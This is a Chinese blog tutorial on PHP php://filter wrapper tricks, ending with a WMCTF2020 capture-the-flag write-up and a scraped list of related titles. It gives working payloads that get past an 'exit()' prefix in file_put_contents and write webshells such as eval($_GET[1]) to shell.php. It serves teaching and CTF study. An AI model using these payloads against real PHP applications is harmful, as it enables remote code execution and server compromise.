PHP Filter伪协议Trick总结
PHP Filter
伪协议Trick
总结
前言:最近在学习的过程中碰到了很多的filter
协议的小trick
,在此做一个总结以及对filter
协议的一些探索。
PHP Filter
协议介绍
php://filter
是php
中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64
编码处理,rot13
处理等。官方解释为:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
Filter
协议的使用方法
Filter
协议的一般语法为:
php://filter/过滤器|过滤器/resource=待过滤的数据流
其中过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理。例如:
echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,<?php phpinfo();?>");
对<?php phpinfo();?>
这个字符串进行了两次base64
编码处理。
php filter
的过滤器有很多种,根据官方文档(https://www.php.net/manual/zh/filters.php),大致可以分为四类:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
字符串过滤器
以string
字符串开头,常见的过滤器有rot13
、toupper
、tolower
、strip_tags
等,例如:
# string.rot13即对数据流进行str_rot13函数处理
echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");
# 输出结果为nopqrst
toupper、tolower
是对字符串进行大小写转换处理:
file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");
strip_tags
对数据流进行strip_tags
函数的处理,该函数功能为剥去字符串中的 HTML
、XML
以及 PHP
的标签,简单理解就是包含有尖括号中的东西。
file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,<a>s</a>");
# 结果返回s
转换过滤器
主要含有三类,分别是base64
的编码转换、quoted-printable
的编码转换以及iconv
字符编码的转换。该类过滤器以convert
开头。
base64
的编码转换操作,例如:
file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");
Quoted-printable
可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII
字符进行一个编码转换,转换成=
后面跟两个十六进制数,例如:
file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));
# 输出为m1sn0w=0C
iconv
过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>
或者convert.iconv.<input-encoding>/<output-encoding>
,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:
file_get_contents("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".chr(12));
压缩过滤器
主要有两类,zlib
和bzip2
,其中zlib.deflate
和bzip2.compress
用于压缩,zlib.inflate
和bzip2.decompress
用于解压缩。
加密过滤器
以mcrypt
开头,后面指定一个加密算法。本特性已自PHP 7.1.0
起废弃。强烈建议不要使用本特性。
Filter
协议的一些Trick
php://filter
⾯对不可⽤的规则只是报个Warning,之后会跳过继续执行。
绕过死亡exit
有时候会碰到这种情况:
file_put_contents($filename,"<?php exit();".$content);
这时,如果想要写入WebShell
,就需要利用到过滤器来进行一些操作,将输入的字符串中的exit()
函数处理掉或者让它失效,从而达到代码执行的目的。
下面总结一些比较常见的绕过方式:
Base64
编码绕过
Base64
在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3
,前面的四个a
会被当成一组进行正常解码,后面真正的base64
编码也就会正常解码。因此在使用base64
编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit
,因此上述的绕过方式为:
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"
rot13
绕过
方式和base64
类似,将payload
转换一下即可:
$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>";
组合方式绕过
例如使用strip_tags
和base64
进行绕过:
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
文件内容变量相同绕过
比如下面这种情况:文件名和拼写的内容相同,还需要绕过exit
file_put_contents($content,"<?php exit();".$content);
如果没有exit
的话,这种写入方式就比较简单,例如:
$content = "php://filter/write=<?php phpinfo();?>/resource=shell.php";
这里主要是因为php://filter
在遇到不认识的过滤器的时候,只会进行一个警告,然后继续后面的执行。
这里回到主题,如果绕过上述的exit
。
利用rot13
绕过
构造如下payload
:前提是目标服务器没有开启短标签。
$content = "php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php";
iconv
字符编码转换
这里用到几种编码:
UCS-2:对目标字符串进行2位一反转
UCS-4:对目标字符串进行4位一反转
payload
生成:
<?php
$a = "<?php phpinfo();?>aa";
echo iconv("UCS-4LE","UCS-4BE",$a);
因此,对于上述的绕过,可以使用如下payload
:
# 2位一反转
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";# 4位一反转(注意添加一些填充位)
$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa?<aa phpiphp(ofn>?;)/resource=shell.php";
利用压缩过滤器进行绕过
使用到zlib.inflate
和zlib.deflate
,将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit
去掉。
在zlib.inflate
和zlib.deflate
过滤器的中间加上一个字符串过滤器,会将exit
解压成其他的字串,例如:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php';
file_put_contents($content,'<?php exit();'.$content);
组合绕过方式
感觉能单个过滤器绕过的,就可以不用多个过滤器一起组合绕过。
strip_tags
+base64
编码绕过
绕过思路就是:闭合前面的<?php
标签,并使用strip_tags
进行处理过滤,然后正常base64
解码
构造payload如下:
$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";
这里其实还有一个小trick
,就是resource
后面的路径,php://filter
仍然会将其视作位过滤器进行一个过滤处理,例如:
$content = "php://filter/resource=./convert.base64-encode/../shell.php";
[WMCTF2020]Web Check in 2.0
源代码如下:
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {$content = $_GET['content'];if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))die('hacker');if(file_exists($content))require_once($content);file_put_contents($content,'<?php exit();'.$content);
}
这里带有几个trick
,第一个就是伪协议在调用过滤器的时候,会对过滤器进行url
解码一次,例如构造如下内容:
$content = "php://filter/write=%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=shell.php";
file_put_contents($content,"<?php exit();".$content);
仍然会对字符串进行base64
编码操作,因此,这里尝试利用二次编码的方式,绕过死亡exit
,并写入shell
:
# payload如下:访问获取到phpinfo界面
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?<hp phpipfn(o;)>?/resource=shell.php# 尝试命令执行
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa<ap?phe av(l_$OPTS'[1mnsw0]';)hpipfn(o;)>?/resource=shell.php
蚁剑连接,在根目录获取到flag
:
第二种方法是利用压缩过滤器来进行绕过,使用到zlib.inflate
和zlib.deflate
,解题思路就是将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit
去掉。
在zlib.inflate
和zlib.deflate
过滤器的中间加上一个字符串过滤器,会将exit
解压成其他的字串,例如:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php';
file_put_contents($content,'<?php exit();'.$content);
第三种方式是利用php7
版本,在使用伪协议string.strip_tags
时会发生段错误,然后将上传的文件报错在tmp
目录下面,可以利用爆破的方式+文件包含利用,获取到Shell
文章小结
Filter
过滤器在很多时候都非常有用,不论是任意文件读取,还是Webshell
的写入。本篇文章总结了几个小trick
,例如绕过exit
,resource
后面可继续跟过滤器、伪协议在处理过滤器的时候会进行URL
编码等,感觉每一个都会有助于攻击方式的扩展。
参考文章
关于file_put_contents的一些小测试(https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/)
WMCTF2020官方writeup(https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF_2020%E5%AE%98%E6%96%B9WriteUp.pdf)
php官方文档(https://www.php.net/manual/zh/filters.compression.php)
PHP Filter伪协议Trick总结相关推荐
- php://filter伪协议(总结)
文章目录 php://filter伪协议总结 php://filter伪协议介绍 php://filter伪协议使用方法 php://filter过滤器分类 filter字符串过滤器 string.r ...
- 第十天文件包含漏洞 php伪协议
文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...
- 90.网络安全渗透测试—[常规漏洞挖掘与利用篇6]—[文件包含-PHP封装伪协议详解实战示例]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含-PHP封装伪协议简介 1.php内置封装协议 2.data://命令执行-伪协议 3.zip:// ...
- php伪协议语法,php文件包含漏洞(input与filter)
php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...
- php伪协议读取目录,PHP文件包含,文件读取的利用思路,以及配合伪协议的trick...
PHP的文件包含函数有两类,分三种:1 2file_get_contents() include()/include_once() require/require_once() 第一种用于获取文件的数 ...
- php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf
今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...
- CTF-Web-常用伪协议用法:
常用伪协议用法: 1.php伪协议 用法 php://input,用于执行php代码,需要post请求提交数据. php://filter,用于读取源码,get提交参数.?a=php://filter ...
- base64 转文件_PHP伪协议与文件包含
PHP伪协议与文件包含 PHP伪协议与文件包含 php:// 协议 php://input php://filter data:// 协议 file:// 协议 zip://.bzip2://.zli ...
- PHP伪协议-文件包含漏洞常用的伪协议
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有 php://filter 读取文件源码 php://inpu ...
最新文章
- 在C++的类中封装多线程
- CTO 比普通程序员强在哪?
- java 获取上下文_如何获得spring上下文的方法总结
- Python基础概念_13_常见关键字
- Inside the C++ Object Model | Outline
- 手动安装boost库
- 查看zookeeper版本
- ICDAR 2019 文本识别冠军方案将开源!
- 第 19 章 保护方法调用
- 如何在ecshop订单中显示客户给商家的留言
- matlab语音去噪_如何使用XAudioPro对音频去噪
- php屏蔽中文浏览器,网站屏蔽中文浏览器/英文浏览器方法
- 高效的国产CAD设计工具,云端三维CAD设计平台:CrownCAD
- 微信怎样诞生:张小龙给马化腾的一封邮件
- 心灵终结不显示服务器,红色警戒2心灵终结3.0常见问题及解决方法
- 散列表查找——线性探测法
- Free Lossless Audio Codec
- 【Hexo】记录NexT主题美化及域名配置(图示详解)
- MAC无法挂载移动硬盘
- 重定向(Redirect)和请求转发(forward)的区别?
热门文章
- 几乎必问,Spring 面试题开胃菜
- securecrt显示linux时间异常,secureCRT链接linux异常信息
- 1152:最大数max(x,y,z)
- 电感和磁珠的区别及应用
- Win8传感器—加速度计、陀螺仪、指南针
- Java 实现 YoloV7 目标检测
- 前端开发:Vue3.0提示警告Avoid app logic that relies on enumerating keys on a component instance… 的解决方法
- ppst 技术视频——oracle 性能优化
- 为windows系统鼠标右键删除选项
- linux启动注册内存失财,Linux创建者开喷英特尔:扼杀ECC内存市场